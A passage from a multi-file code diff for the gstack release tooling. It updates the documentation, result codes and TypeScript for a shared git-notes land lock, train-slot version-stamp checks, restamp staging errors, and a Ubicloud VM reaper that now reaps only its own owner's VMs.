rule). Restamp stages what it writes and prints `STAGED:`; commit what restamp
staged. A file the slot call does not name is not a stamp: `git restore --staged
--worktree` it and report it. A stamp file holding unstaged edits of your own refuses before
anything is written (`RESTAMP_UNSTAGED_EDITS`), and a staging failure leaves the
files written for the noop rerun to stage (`RESTAMP_NOT_STAGED`), so a bare
commit after a `--no-commit` base merge can no longer drop the stamp (#3527). The tree receipt refuses such a move after the fact
only while the moved version is older than the base's at the build, so the
restamp, not the receipt, is what keeps the base's key in place.
@@ -935,7 +963,18 @@ saw, itself the prefix before modulo stamps) plus the PR's own entry under the
same rule. One CHANGELOG rule applies before and after, so a head the pre-merge
verify accepted confirms after its squash merge with the same CHANGELOG, and a
stacked child whose one `[Unreleased]` became two released sections is not a
mismatch (train 24, 2026-10-27, froze on exactly that). Anything else is
mismatch (train 24, 2026-10-27, froze on exactly that). Before
`MERGE_CONDITION`, the head must also carry its own stamp: its `VERSION` above
main's, and its CHANGELOG headed with that version directly above main's top
release, with no `[Unreleased]` section main does not have; otherwise
`QUEUE_TRAIN_UNSTAMPED` names the rule and both versions (train 33 merged #3527
under #3526's version without it). verify prints `STAMP_VERSION:` from the head
itself. A post-merge confirmation needs GitHub to report the PR MERGED: an open
PR whose stamp-only diff already matches main (a release-only PR, #3530) takes
the pre-merge path, and any other open or unreadable PR refuses
`QUEUE_PROOF_MISSING` without freezing, as does a verify that could not read
the PR's current head (`--no-fetch` or a failed fetch) instead of judging the
unstamped pin. Anything else is
`QUEUE_TRAIN_TREE_MISMATCH` (or `QUEUE_TRAIN_MOVED`). When nothing of the train
has merged, that is a plain refusal, and a new train is built on current main. When
earlier slots already merged, main holds a prefix no gate covered on its own,
@@ -1627,9 +1666,12 @@ command:
2. **Lock.** Take the repository land lock, `refs/notes/gstack-land` (its own
ref, never the trains notes ref), by exact lease. It records the PR, holder,
phase and journal. A held lock is `QUEUE_LAND_LOCKED` naming the holder;
`--break-lock` takes over a crashed holder's lock and is refused while that
holder entered a push or a merge less than 10 minutes ago, and for a drift
lock. A refusal before the push releases the lock.
`--break-lock` prints the holder (`LOCK_HOLDER:`), takes over a crashed
holder's lock and is refused while that holder entered a push or a merge
less than 10 minutes ago, and for a drift lock. `train land` shares this
lock ([one land lock](#train-land)); a train slot's lock needs
`--break-train-lock` as well while its train still lands, and a `freeze`
lock is never broken. A refusal before the push releases the lock.
3. **Merge and stamp.** In a scratch worktree, merge the base into the pin.
Conflicts in release fields only (the version file and `release_outputs`
take the base's side, the CHANGELOG merges by section, a manifest or npm
+3 -3
View File
@@ -1006,8 +1006,8 @@ VM. `/ubicloud` runs it there through one entry point, `bin/gstack-ubi`
(`scripts/ubicloud/ubi-runner.sh`), with the discipline a shared quota needs:
every VM is named `ubirun-<owner>-<epoch>-<suffix>-t<hours>`, so its owner
(`UBI_OWNER`, required to create one) and TTL (`UBI_TTL_HOURS`, default 3) are
visible to everyone; every `up` first reaps VMs whose TTL ended, whichever owner
made them, and its own owner's VMs with no TTL once they are 4 hours old; every run
visible to everyone; every `up` first reaps its own owner's VMs whose TTL ended,
and those with no TTL once they are 4 hours old, never another owner's; every run
ends with `UBICLOUD: left=0` or fails; the
quota preflight refuses before the create request when the project's running
VMs plus the new size exceed the known ceiling (`UBI_QUOTA_VCPUS`, or the
@@ -1030,7 +1030,7 @@ Claude: UBICLOUD_API_KEY: set; UBI_OWNER=lane7
gstack-ubi verify (.gstack/ubicloud.json: bootstrap.sh, "bash scripts/verify.sh", standard-16)
ubi-runner: reap: no expired VMs
ubi-runner: creating eu-central-h1/ubirun-lane7-1761500000-9f3a2c10-t3 (standard-16)
ubi-runner: ubirun-lane7-1761500000-9f3a2c10-t3 carries a 3h TTL (any later run of this script reaps it); if this process dies first: gstack-ubi down ubirun-lane7-1761500000-9f3a2c10-t3
ubi-runner: ubirun-lane7-1761500000-9f3a2c10-t3 carries a 3h TTL (this owner's next up or reap destroys it once it expires); if this process dies first: gstack-ubi down ubirun-lane7-1761500000-9f3a2c10-t3
ubi-runner: heartbeat: command 300s elapsed, last output 2s ago
ubi-runner: command exited 0 after 1140s
ubi-runner: destroyed eu-central-h1/ubirun-lane7-1761500000-9f3a2c10-t3
+61 -8
View File
@@ -880,7 +880,11 @@ pick a new `--output`), then copy the recovery file to where you want it.
**Meaning.** On Codex, Factory, OpenCode, Cursor, Copilot and Kiro every bash
block finds gstack on its own: an exported `GSTACK_ROOT` (with `bin/` and
`lib/`), then a repo-local install, then the host's global install
(`$CODEX_HOME/skills/gstack` on Codex). None existed.
(`$CODEX_HOME/skills/gstack` on Codex). None existed. A skill installed for one
folder (Hermes, or the Codex install `./setup` writes) is the exception for its
first block: that block runs the folder's own `bin/gstack-skill-start` and
ignores an exported `GSTACK_ROOT`. When the folder is missing, the block prints
this line and its start command then fails.
**Fix.**
@@ -4640,7 +4644,10 @@ train still building, running or merging, `train watch` on an unknown record,
unreadable run), `verify --pr <n> --train <nonce>` when main's tree mismatches
and whether a slot merged on GitHub cannot be read (so whether the queue must
freeze is unknown; it never answers "nothing merged" from an unreadable
state), `train land` when the base or the train branch cannot be fetched or
state), `verify --pr <n> --train <nonce>` when GitHub does not report the PR
MERGED and it is not a release-only PR whose stamp-only diff already matches
main, or when it could not read the PR's current head (`--no-fetch` or a failed
fetch), without freezing the queue, `train land` when the base or the train branch cannot be fetched or
the record's T0 and S_1..S_k are not the gated head's first-parent chain
(each S_i's second parent slot i's pin), `train land` when main's tree is the
slot's S_i but GitHub does not report the PR as MERGED (a record whose slot
@@ -4746,14 +4753,60 @@ the name already landed. Then rerun.
<a id="queue-land-locked"></a>
### `QUEUE_LAND_LOCKED`
**Meaning.** Another `gstack-ship-queue land` holds the repository land lock
(`refs/notes/gstack-land`), or took it from under this run, so this one would
race it for the next version. The line names the holder, its PR and phase.
**Meaning.** Another `gstack-ship-queue land`, or a `train land` slot, holds the
repository land lock (`refs/notes/gstack-land`), or took it from under this run,
so this one would race it onto main. The line names the holder: `#<pr>` for a
land, `train <nonce> slot <i> (#<pr>)` for a train, with its holder and phase. A
train keeps the lock in phase `between` from one merged slot to the next, so no
standalone land slips in between slots.
**Fix.** Wait for the holder to finish. If it crashed, rerun with
`--break-lock`; that is refused while the holder entered a push or a merge
less than 10 minutes ago. A lock in phase `drift` is released by landing its
repair PR ([QUEUE_LAND_DRIFT](#queue-land-drift)).
`--break-lock`, which prints the holder (`LOCK_HOLDER:`). That is refused while
the holder entered a push or a merge less than 10 minutes ago, while a train is
between slots for less than 10 minutes, and for a live train run unless you also
pass `--break-train-lock`. A lock in phase `drift` is released by landing its
repair PR ([QUEUE_LAND_DRIFT](#queue-land-drift)); a lock in phase `freeze` is
released by the verify that clears the freeze
([QUEUE_TRAIN_FROZEN](#queue-train-frozen)). If that release push failed, the
next `land` or `train land` takes the lock over once the freeze record it fetches
shows the freeze cleared after the lock was written; `--break-lock` never does.
<a id="queue-train-unstamped"></a>
### `QUEUE_TRAIN_UNSTAMPED`
**Meaning.** `verify --pr <n> --train <nonce>` found the slot head it would let
merge without its own stamp: the head's `VERSION` is not above main's, or its
CHANGELOG's top section is not headed with that version directly above main's
top release (or keeps an `[Unreleased]` section main does not have). The line
names the rule, the head's version and main's. Train 33 merged #3527 this way
(a no-commit base merge, a restamp whose files were never staged, a bare
commit) and shipped it under #3526's version. Nothing was merged.
**Fix.** On the lane, run `gstack-restamp --next` on the head, commit what
restamp staged, push, and rerun the verify.
<a id="restamp-not-staged"></a>
### `RESTAMP_NOT_STAGED`
**Meaning.** `gstack-restamp` wrote the stamp but `git add` failed, so a bare
`git commit` would leave the stamp out. The files stay written, and
`.gstack/tmp/restamp-staging.json` records what is still to stage.
**Fix.** Clear what blocked `git add` (a stale `.git/index.lock`, for
example) and rerun `gstack-restamp`; the rerun is a noop that stages the files
it wrote. When any of them changed since restamp wrote it (you committed by
hand, switched branches or merged the base), the marker is stale: the noop
rerun drops it and stages nothing, and a stamp still owed is restamped as usual.
<a id="restamp-unstaged-edits"></a>
### `RESTAMP_UNSTAGED_EDITS`
**Meaning.** A file `gstack-restamp` would stamp holds unstaged edits of yours.
Restamp stages what it writes, so those edits would ride along in the stamp
commit. Nothing was written.
**Fix.** Stage (`git add`) or stash your own edits to the named files, then
rerun `gstack-restamp`.
<a id="queue-land-conflict"></a>
### `QUEUE_LAND_CONFLICT`
+18 -2
View File
@@ -418,8 +418,24 @@ export const RELEASE_RESULT_CODES = {
},
QUEUE_LAND_LOCKED: {
anchor: 'queue-land-locked',
summary: 'another gstack-ship-queue land holds the repository land lock (refs/notes/gstack-land), so this one would race it for the next version',
fix: 'wait for the holder named in the line to finish; if it crashed, gstack-ship-queue land --pr <n> --break-lock (refused while its journal shows a push in flight)',
summary: 'another gstack-ship-queue land or train land slot holds the repository land lock (refs/notes/gstack-land), so this one would race it onto main',
fix: 'wait for the holder named in the line to finish; if it crashed, rerun with --break-lock (refused while it is mid-push or mid-merge, between train slots less than 10 minutes, and for a live train run without --break-train-lock)',
},
// #3531: verify --train's slot stamp proof and gstack-restamp's staging of what it writes.
QUEUE_TRAIN_UNSTAMPED: {
anchor: 'queue-train-unstamped',
summary: 'the slot head verify --train would let merge is not stamped above main: its VERSION is not above main\'s, or its CHANGELOG is not headed with that version directly above main\'s top release',
fix: 'on the lane, run gstack-restamp --next on the head, commit what restamp staged, push, then rerun gstack-ship-queue verify --pr <n> --train <nonce>',
},
RESTAMP_NOT_STAGED: {
anchor: 'restamp-not-staged',
summary: 'gstack-restamp wrote the stamp but could not stage it, so a bare git commit would leave the stamp out',
fix: 'clear what blocked git add (an index.lock), then rerun gstack-restamp: the noop rerun stages the files it wrote, or drops the marker when they changed since',
},
RESTAMP_UNSTAGED_EDITS: {
anchor: 'restamp-unstaged-edits',
summary: 'a file gstack-restamp would stamp holds unstaged edits of the caller, which staging the stamp would sweep into the stamp commit; nothing was written',
fix: 'stage (git add) or stash your own edits to the files named, then rerun gstack-restamp',
},
QUEUE_LAND_CONFLICT: {
anchor: 'queue-land-conflict',
+8 -2
View File
@@ -3,7 +3,7 @@
*
* gstack-review-dispatch pass turns gstack-review-plan's dispatches into a manifest: stage `first`
* (audit readers that may write tests, so they settle before any reviewer reads the tree), stage
* `specialists` (the specialists, plus the other audit and QA readers), stage `red-team` and stage
* `specialists` (the specialists, plus the other audit readers), stage `red-team` and stage
* `voices` (Step 11). Each reviewer keeps its plan entry (role, effort, exclusions) and is rendered
* once, when its inputs exist, by lib/review-brief.ts; the Red Team's findings file is the
* specialists' merged.jsonl lines, byte for byte. Briefs travel to the dispatch program in bounded
@@ -28,7 +28,7 @@ export interface PassReader {
role?: BriefRole; name?: string; effort?: string; exclude?: string; checklists?: string[];
/** The targeted reader: the plan's TARGETED classes and the merge base it reads on every pass. */
classes?: string[]; diff_base?: string;
/** An audit or QA reader: its prompt is a file the parent wrote from its section; its output is returned, never collected. */
/** An audit reader: its prompt is a file the parent wrote from its section; its output is returned, never collected. */
prompt_file?: string; model?: PassModel;
file?: string; sha256?: string; bytes?: number; chunks?: number; findings_sha256?: string;
/** The fingerprint the reader's reply must report: the checkout's HEAD^{tree} and toplevel when its brief was rendered (GST-482). */
@@ -47,6 +47,9 @@ export interface Manifest {
}
export interface FixCheckFiles { fix_list: string; hunks: string; tests: string; callers?: string }
export interface Extra { name: string; prompt_file: string; first?: boolean; model?: PassModel }
/** Step 9.2.1's own first line: its probes are the parent's, so a QA subagent only refuses (C4-36, C5-36: "parent-only"). */
export const PARENT_ONLY_QA = 'Only the parent runs report-only discovery.';
const qaRefusal = (name: string) => new BriefError(`Step 9.2.1 is the parent's report-only discovery (ship/sections/review-army.md: "${PARENT_ONLY_QA}"), never an audit reader: ${name}`);
/** Brief characters per transport chunk: even with every character escaped, one chunk line stays far under 1 MiB. */
export const CHUNK_CHARS = 65_536;
@@ -96,6 +99,9 @@ export function buildManifest(o: {
}
for (const e of o.extras ?? []) {
if (!/^[a-z0-9-]+$/.test(e.name)) throw new BriefError(`an audit reader's name is lowercase letters, digits and dashes: ${e.name}`);
let brief = '';
try { brief = fs.readFileSync(e.prompt_file, 'utf8'); } catch { brief = ''; }
if (/(^|-)qa(-|$)/.test(e.name) || brief.includes(PARENT_ONLY_QA)) throw qaRefusal(e.name);
readers.push({ reader: `audit/${e.name}`, stage: e.first ? 'first' : 'specialists', title: `ship ${o.pass} audit/${e.name}`, state: 'planned', prompt_file: path.resolve(e.prompt_file), model: e.model });
}
if (new Set(readers.map(r => r.reader)).size !== readers.length) throw new BriefError('two readers share a key in this pass');
+28 -5
View File
@@ -10,7 +10,7 @@ import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { fragmentSlug } from './changelog-fragments';
import { parseUnifiedDiff, stampOnlyLine, versionAtRef } from './restamp';
import { branchAddedLines, forkVersion, parseUnifiedDiff, stampMentions, stampOnlyLine, versionAtRef } from './restamp';
import { matchesAny } from './ship-policy';
import { extractVersion } from './version-source';
import { BIN_DIR, runBashSync, runScriptSync, scriptInvocation } from './script-invocation';
@@ -96,19 +96,23 @@ export function versionOnlyEdit(cwd: string, ref: string, p: string): boolean {
* never a behavior change. A manifest counts only while its edit is version-only (a dependency, script or
* lockfile change is a build input); bun.lock never counts.
*/
export function releasePaths(policy: Record<string, any> | null, cwd: string, ref: string): string[] {
export function releasePaths(policy: Record<string, any> | null, cwd: string, ref: string, base: string): string[] {
const list = (v: unknown) => (Array.isArray(v) ? v.filter((s): s is string => typeof s === 'string') : []);
const fragment = fragmentPath(policy, cwd);
return [...new Set(['VERSION', 'CHANGELOG.md', 'TODOS.md', 'agents-digest/gstack-AGENTS.md', ...VERSIONED_MANIFESTS.filter(p => versionOnlyEdit(cwd, ref, p)),
...(typeof policy?.changelog === 'string' ? [policy.changelog] : []), ...(fragment ? [fragment] : []), ...list(policy?.release_outputs), ...list(policy?.stamp_paths),
...stampedFiles(policy, cwd, ref)])];
...stampedFiles(policy, cwd, ref, base)])];
}
/**
* `stamp_files` paths whose working-tree edit against `ref` is a version stamp alone: every changed line swaps the
* old version for the new one under a built-in form or a `stamp_patterns` template (lib/tree-receipt.ts classifyFile).
* A moved version is floored at `ref`'s VERSION, except on a line the branch added itself (gstack-restamp's own rule:
* added since the merge base with origin/<base>, and not added by the base since): after a lost slot and a merge of the
* base its stale stamp is older than `ref`'s VERSION, so it must be newer than the fork point's version instead, the
* bound gstack-restamp's stamp_paths stage uses (GST-895).
*/
export function stampedFiles(policy: Record<string, any> | null, cwd: string, ref: string): string[] {
export function stampedFiles(policy: Record<string, any> | null, cwd: string, ref: string, base: string): string[] {
const globs = Array.isArray(policy?.stamp_files) ? policy.stamp_files.filter((s: unknown): s is string => typeof s === 'string') : [];
if (!globs.length) return [];
const before = versionAtRef(cwd, ref);
@@ -119,8 +123,27 @@ export function stampedFiles(policy: Record<string, any> | null, cwd: string, re
const templates = Array.isArray(policy?.stamp_patterns) ? policy.stamp_patterns.filter((s: unknown): s is string => typeof s === 'string') : [];
const diff = git(cwd, ['diff', '--unified=0', '--no-color', '--no-ext-diff', '--no-textconv', '--no-renames', ref]);
if (diff.status !== 0) return [];
let fork: string | undefined;
let since: string | undefined;
const own = new Map<string, Set<string>>();
const ownLines = (rel: string): Set<string> => {
if (own.has(rel)) return own.get(rel)!;
since ??= git(cwd, ['merge-base', `origin/${base}`, 'HEAD']).stdout.trim();
let lines = new Set<string>();
if (since) {
try { lines = branchAddedLines(cwd, since, [rel], ref, branchAddedLines(cwd, since, [rel], `origin/${base}`)).get(rel)?.text ?? lines; } catch {}
}
own.set(rel, lines);
return lines;
};
const stamp = (rel: string, removed: string, added: string): boolean => {
if (stampOnlyLine(removed, added, before.version, after, templates)) return true;
if (!ownLines(rel).has(removed)) return false;
fork ??= forkVersion(cwd, `origin/${base}`, before.version);
return stampOnlyLine(removed, added, fork, after, templates) && (!stampMentions(removed, templates).has(fork) || stampMentions(added, templates).has(fork));
};
return parseUnifiedDiff(diff.stdout).filter(f => f.status === 'M' && !f.binary && !f.modeChanged && matchesAny(globs, f.path) && f.hunks.length > 0 &&
f.hunks.every(h => h.removed.length === h.added.length && h.removed.every((line, i) => stampOnlyLine(line, h.added[i]!, before.version, after, templates)))).map(f => f.path);
f.hunks.every(h => h.removed.length === h.added.length && h.removed.every((line, i) => stamp(f.path, line, h.added[i]!)))).map(f => f.path);
}
/** Under `changelog_fragments`, the branch's own Step 13 entry `<dir>/<branch-slug>.md` (docs/ship-policy.md#changelog-fragments); null without the key. */
+10 -1
View File
@@ -9,7 +9,10 @@
* run at this head already concluded), a wait for each run, and one
* `PREGATE_CLEARED:` per requires-remote lane whose workflow is one of them
* and whose run concluded success. A red run clears no lane and refuses. A
* fork head is never dispatched here (QUEUE_TRAIN_UNTRUSTED).
* fork head is never dispatched here (QUEUE_TRAIN_UNTRUSTED). A workflow the
* base has but the head predates (windows-smoke.yml on a branch cut before it
* landed) is skipped with a note: GitHub reads the workflow file from the
* branch, so the dispatch could only fail.
*/
import * as fs from 'node:fs';
import * as path from 'node:path';
@@ -17,6 +20,7 @@ import type { PregateFile } from './headless-artifacts';
import { PREGATE_OUT_REL, clearObligation, readPregateFile, writePregateFile } from './pregate/index';
import type { QueueContext } from './ship-queue';
import type { QueueFailure } from './ship-queue-gate';
import { git } from './ship-queue-gate';
import { prInfo, repoSlug, runView } from './ship-queue-train-github';
const sleep = (ms: number) => new Promise(resolve => setTimeout(resolve, ms));
@@ -47,6 +51,11 @@ export async function dispatchCi(ctx: QueueContext, o: DispatchCiOptions): Promi
const prior = atHead.find(r => r.status === 'completed');
if (prior) { lines.push(`CI_DISPATCH: ${wf} not dispatched (run ${prior.databaseId} already concluded ${prior.conclusion ?? 'unknown'} at this head)`); concluded.set(wf, prior); continue; }
const live = atHead[0];
const wfPath = `.github/workflows/${wf}`;
if (!live && git(ctx.repoRoot, ['cat-file', '-e', `${head}^{commit}`]).ok && git(ctx.repoRoot, ['cat-file', '-e', `${ctx.remote ?? 'origin'}/${ctx.base}:${wfPath}`]).ok && !git(ctx.repoRoot, ['cat-file', '-e', `${head}:${wfPath}`]).ok) {
lines.push(`CI_DISPATCH: ${wf} not dispatched (${wfPath} is on ${ctx.base} but not in ${head.slice(0, 12)}; the branch predates it, so its pull_request run comes with the stamp commit)`);
continue;
}
if (!live) {
const d = ctx.gh(['workflow', 'run', wf, '--ref', branch]);
if (!d.ok) return { lines, failure: { code: 'QUEUE_NOT_READY', message: `gh workflow run ${wf} --ref ${branch} failed (${(d.err ?? d.out).trim().replace(/\s+/g, ' ').slice(0, 120) || 'no output'})` } };
+137
View File
@@ -0,0 +1,137 @@
/**
* The repository land lock (docs/ship-policy.md#land, #3599): one ref, refs/notes/gstack-land, whose commit
* holds lock.json, shared by `gstack-ship-queue land` (owner `{ pr }`) and `train land` (owner
* `{ train, slot, pr }`), so a standalone land and a train slot never both publish onto one main. Every write
* is an exact lease on the sha read, so two writers racing one sha leave one winner. A lock is resumed only by
* the same owner kind, identity and journal; anything else is a takeover the caller allows (a drift repair, a
* train's next slot, the admitted repair train) or a --break-lock under the staleness, mid-push, drift, freeze
* and live-train rules.
*/
import { git, type QueueFailure } from './ship-queue-gate';
export const LAND_LOCK_REF = 'refs/notes/gstack-land';
export const PUSH_STALE_MS = 10 * 60_000;
export type LandLockPhase = 'stamping' | 'pushing' | 'waiting' | 'merging' | 'drift' | 'between' | 'freeze';
export interface LandLock { pr: string; holder: string; started_at: string; phase: LandLockPhase; journal: string; phase_at?: string; repair_pr?: string; drift_of?: string; train?: string; slot?: number }
export type LockOwner = { pr: string; train?: undefined; slot?: undefined } | { pr: string; train: string; slot: number };
export type LockRead = { state: 'absent'; sha: '' } | { state: 'released'; sha: string } | { state: 'held'; sha: string; lock: LandLock } | { state: 'unreadable'; sha: string; detail: string };
type Released = { released: true; by: string; at: string };
const isSha = (s: string | undefined) => /^[0-9a-f]{40,64}$/.test(s ?? '');
/** How a lock names its owner in every message: `#<pr>`, or `train <nonce> slot <i> (#<pr>)`. */
export const lockLabel = (lock: LandLock): string => (lock.train ? `train ${lock.train} slot ${lock.slot} (#${lock.pr})` : `#${lock.pr}`);
/** The same owner kind, identity and journal: a resume of this run's journal, never just the same PR. */
export const ownsLock = (lock: LandLock, owner: LockOwner, journal: string): boolean =>
lock.pr === owner.pr && (lock.train ?? null) === (owner.train ?? null) && (lock.slot ?? null) === (owner.slot ?? null) && lock.journal === journal;
export function readLock(root: string, remote = 'origin'): LockRead {
const fetched = git(root, ['fetch', '-q', remote, `+${LAND_LOCK_REF}:${LAND_LOCK_REF}`]);
if (!fetched.ok) {
const listed = git(root, ['ls-remote', remote, LAND_LOCK_REF]);
if (listed.ok && !listed.out.trim()) git(root, ['update-ref', '-d', LAND_LOCK_REF]);
}
const sha = git(root, ['rev-parse', '--verify', '--quiet', LAND_LOCK_REF]).out;
if (!sha) return { state: 'absent', sha: '' };
const body = git(root, ['show', `${sha}:lock.json`]);
if (!body.ok) return { state: 'unreadable', sha, detail: 'no lock.json' };
let value: Partial<LandLock> & { released?: boolean };
try { value = JSON.parse(body.out); } catch { return { state: 'unreadable', sha, detail: 'lock.json is not JSON' }; }
if (value?.released === true) return { state: 'released', sha };
if (!/^\d+$/.test(String(value?.pr)) || typeof value.phase !== 'string' || typeof value.holder !== 'string') return { state: 'unreadable', sha, detail: 'lock.json names no PR, holder and phase' };
return { state: 'held', sha, lock: value as LandLock };
}
export function writeLock(root: string, expected: string, value: LandLock | Released, remote = 'origin'): { ok: boolean; sha: string } {
const blob = git(root, ['hash-object', '-w', '--stdin'], undefined, JSON.stringify(value, null, 2) + '\n').out;
const tree = git(root, ['mktree'], undefined, `100644 blob ${blob}\tlock.json\n`).out;
const message = 'released' in value ? `land lock released by ${value.by}` : `land lock ${value.train ? `train ${value.train} slot ${value.slot} ` : ''}#${value.pr} ${value.phase}`;
const commit = git(root, ['commit-tree', tree, ...(expected ? ['-p', expected] : []), '-m', message]).out;
if (![blob, tree, commit].every(isSha)) return { ok: false, sha: '' };
const push = git(root, ['push', '-q', `--force-with-lease=${LAND_LOCK_REF}:${expected}`, remote, `${commit}:${LAND_LOCK_REF}`]);
if (push.ok) git(root, ['update-ref', LAND_LOCK_REF, commit]);
return { ok: push.ok, sha: commit };
}
export interface HeldLandLock {
/** The lock as this run last wrote it. */
readonly lock: LandLock;
/** This owner's lock as it was before this run took it back (a resume), else null. */
readonly resumed: LandLock | null;
/** Move to a phase under the exact lease; a failure is another lander's lock (QUEUE_LAND_LOCKED) or a refused push (QUEUE_NOT_READY). */
set(phase: LandLockPhase, extra?: Partial<LandLock>): QueueFailure | null;
release(): boolean;
}
export interface AcquireOptions {
root: string; remote?: string; holder: string; owner: LockOwner; journal: string; now: () => Date;
/** The first phase, given this owner's own lock when this run resumes it. */
phase: (own: LandLock | null) => LandLockPhase;
breakLock?: boolean; breakTrainLock?: boolean;
/** A takeover the caller allows (a drift repair, a train's next slot, the admitted repair train): its LOCK: line, else null. */
takeover?: (lock: LandLock) => string | null;
/** Whether a train still lands (its record is not terminal); unknown counts as live. */
liveTrain?: (nonce: string) => boolean;
/** Fields every write of this run carries (land's drift_of), given this owner's own lock when resumed. */
extra?: (own: LandLock | null) => Partial<LandLock>;
}
/** Why --break-lock may not break a foreign lock, or null when it may. */
function unbreakable(lock: LandLock, o: AcquireOptions, age: number): QueueFailure | null {
const label = lockLabel(lock);
if (lock.phase === 'drift' || lock.drift_of) return { code: 'QUEUE_LAND_DRIFT', message: `#${lock.drift_of ?? lock.pr} holds a drift lock; --break-lock never breaks it, only its repair PR's land takes it over`, fix: `gstack-ship-queue land --pr ${lock.drift_of ?? lock.pr} --repair` };
if (lock.phase === 'freeze') return { code: 'QUEUE_TRAIN_FROZEN', message: `${label} holds the land lock for a frozen queue; --break-lock never breaks it, only the repair train the freeze admits takes it over` };
if (lock.train && (o.liveTrain?.(lock.train) ?? true) && !o.breakTrainLock) return { code: 'QUEUE_LAND_LOCKED', message: `${label} is a live train run's lock (phase ${lock.phase}); --break-lock refused without --break-train-lock` };
if ((lock.phase === 'pushing' || lock.phase === 'merging') && age < PUSH_STALE_MS) return { code: 'QUEUE_LAND_LOCKED', message: `${label}'s holder is mid-${lock.phase === 'pushing' ? 'push' : 'merge'} (${Math.round(age / 1000)} s ago); --break-lock refused` };
if (lock.phase === 'between' && age < PUSH_STALE_MS) return { code: 'QUEUE_LAND_LOCKED', message: `${label} is between slots (${Math.round(age / 1000)} s ago); --break-lock refused until it is ${PUSH_STALE_MS / 60_000} minutes old` };
return null;
}
/**
* Take the land lock for `owner`: resume this owner's own lock, take over one the caller allows, or (with
* --break-lock, which always names the holder) break a foreign one the rules permit; then write the first
* phase under the exact lease on the sha read.
*/
export function acquireLandLock(o: AcquireOptions): { held: HeldLandLock; lines: string[] } | { failure: QueueFailure; lines: string[] } {
const remote = o.remote ?? 'origin';
const lines: string[] = [];
const read = readLock(o.root, remote);
let sha = read.sha;
let current: LandLock | null = read.state === 'held' ? read.lock : null;
const own = current && ownsLock(current, o.owner, o.journal) ? current : null;
if (read.state === 'unreadable') {
if (!o.breakLock) return { failure: { code: 'QUEUE_LAND_LOCKED', message: `the land lock at ${read.sha.slice(0, 12)} cannot be read (${read.detail}); --break-lock replaces it` }, lines };
lines.push(`LOCK: broke an unreadable lock at ${read.sha.slice(0, 12)} (${read.detail})`);
} else if (current && !own) {
const allowed = o.takeover?.(current) ?? null;
if (allowed) lines.push(allowed);
else {
const age = o.now().getTime() - Date.parse(current.phase_at ?? current.started_at);
if (!o.breakLock) return { failure: { code: 'QUEUE_LAND_LOCKED', message: `${lockLabel(current)} holds the land lock (${current.holder}, phase ${current.phase}, since ${current.started_at})` }, lines };
lines.push(`LOCK_HOLDER: ${lockLabel(current)} holder=${current.holder} phase=${current.phase} since=${current.started_at}`);
const refusal = unbreakable(current, o, age);
if (refusal) return { failure: refusal, lines };
lines.push(`LOCK: broke ${lockLabel(current)}'s lock (${current.holder}, phase ${current.phase})`);
}
}
const startedAt = own?.started_at ?? o.now().toISOString();
const always = o.extra?.(own) ?? {};
const set = (phase: LandLockPhase, extra: Partial<LandLock> = {}): QueueFailure | null => {
const next: LandLock = { pr: o.owner.pr, ...(o.owner.train ? { train: o.owner.train, slot: o.owner.slot } : {}), holder: o.holder, started_at: startedAt, phase, journal: o.journal, phase_at: o.now().toISOString(), ...always, ...extra };
const w = writeLock(o.root, sha, next, remote);
if (!w.ok) {
return readLock(o.root, remote).sha === sha
? { code: 'QUEUE_NOT_READY', message: `the land lock push to ${remote} failed and the lock there is unchanged; nothing was pushed` }
: { code: 'QUEUE_LAND_LOCKED', message: 'the land lock moved under this run (another lander took it)' };
}
sha = w.sha; current = next;
return null;
};
const failed = set(o.phase(own));
if (failed) return { failure: failed, lines };
const held: HeldLandLock = {
get lock() { return current!; },
resumed: own,
set,
release: () => writeLock(o.root, sha, { released: true, by: o.holder, at: o.now().toISOString() }, remote).ok,
};
return { held, lines };
}
+33 -52
View File
@@ -17,15 +17,15 @@ import * as path from 'node:path';
import { mergeChangelogs, parseChangelog } from './changelog-check';
import { fragmentSlug, readFragments } from './changelog-fragments';
import { restamp, versionAtRef } from './restamp';
import { acquireLandLock, lockLabel, readLock, writeLock, type LandLockPhase } from './ship-queue-land-lock';
import { matchesAny, type ShipPolicy } from './ship-policy';
import { ciAtHead, loadBasePolicy, type QueueContext, type StepOutput } from './ship-queue';
import { QUEUE_DIR_REL, git, writeJsonAtomic, type QueueFailure } from './ship-queue-gate';
import { bindShippedReceipt } from './ship-receipt-depth';
import { loadReady, rebuildFromNotes, repoIdentity } from './ship-queue-train-record';
import { TERMINAL_STATES, freezeLockCleared, loadReady, loadTrain, rebuildFromNotes, repoIdentity } from './ship-queue-train-record';
export const LAND_LOCK_REF = 'refs/notes/gstack-land';
export { LAND_LOCK_REF } from './ship-queue-land-lock';
export const MAX_RESTAMPS = 2;
const PUSH_STALE_MS = 10 * 60_000;
const MANIFESTS = ['package.json', 'package-lock.json', 'npm-shrinkwrap.json'];
const isSha = (s: string | undefined) => /^[0-9a-f]{40,64}$/.test(s ?? '');
/** The first path segment of `rel` inside `wt` that is a symlink, or null: land writes only inside the checkout. */
@@ -49,35 +49,13 @@ export interface LandJournal {
drift_main?: string; repair_pr?: string;
phase: 'locked' | 'stamped' | 'pushed' | 'merged' | 'landed' | 'drift';
}
export interface LandLock { pr: string; holder: string; started_at: string; phase: 'stamping' | 'pushing' | 'waiting' | 'merging' | 'drift'; journal: string; phase_at?: string; repair_pr?: string; drift_of?: string }
export interface LandOptions { pr: string; repair?: boolean; dryRun?: boolean; noWait?: boolean; breakLock?: boolean; allowRepoCommands?: boolean; waitTimeoutMin?: number; now?: () => Date; holder?: string }
export interface LandOptions { pr: string; repair?: boolean; dryRun?: boolean; noWait?: boolean; breakLock?: boolean; breakTrainLock?: boolean; allowRepoCommands?: boolean; waitTimeoutMin?: number; now?: () => Date; holder?: string }
const fail = (lines: string[], failure: QueueFailure, run: string): StepOutput => ({ ok: false, lines, failure, run });
export const landJournalRel = (pr: string) => `${QUEUE_DIR_REL}/land/${pr}.json`;
function readJson<T>(file: string): T | null { try { return JSON.parse(fs.readFileSync(file, 'utf8')) as T; } catch { return null; } }
/** The remote land lock: a ref whose commit holds lock.json, or a released marker. Updated only by exact lease. */
function readLock(root: string): { sha: string; lock: LandLock | null } {
git(root, ['fetch', '-q', 'origin', `+${LAND_LOCK_REF}:${LAND_LOCK_REF}`]);
const sha = git(root, ['rev-parse', '--verify', '--quiet', LAND_LOCK_REF]).out;
if (!sha) return { sha: '', lock: null };
const body = git(root, ['show', `${sha}:lock.json`]);
let lock: LandLock | { released: true } | null = null;
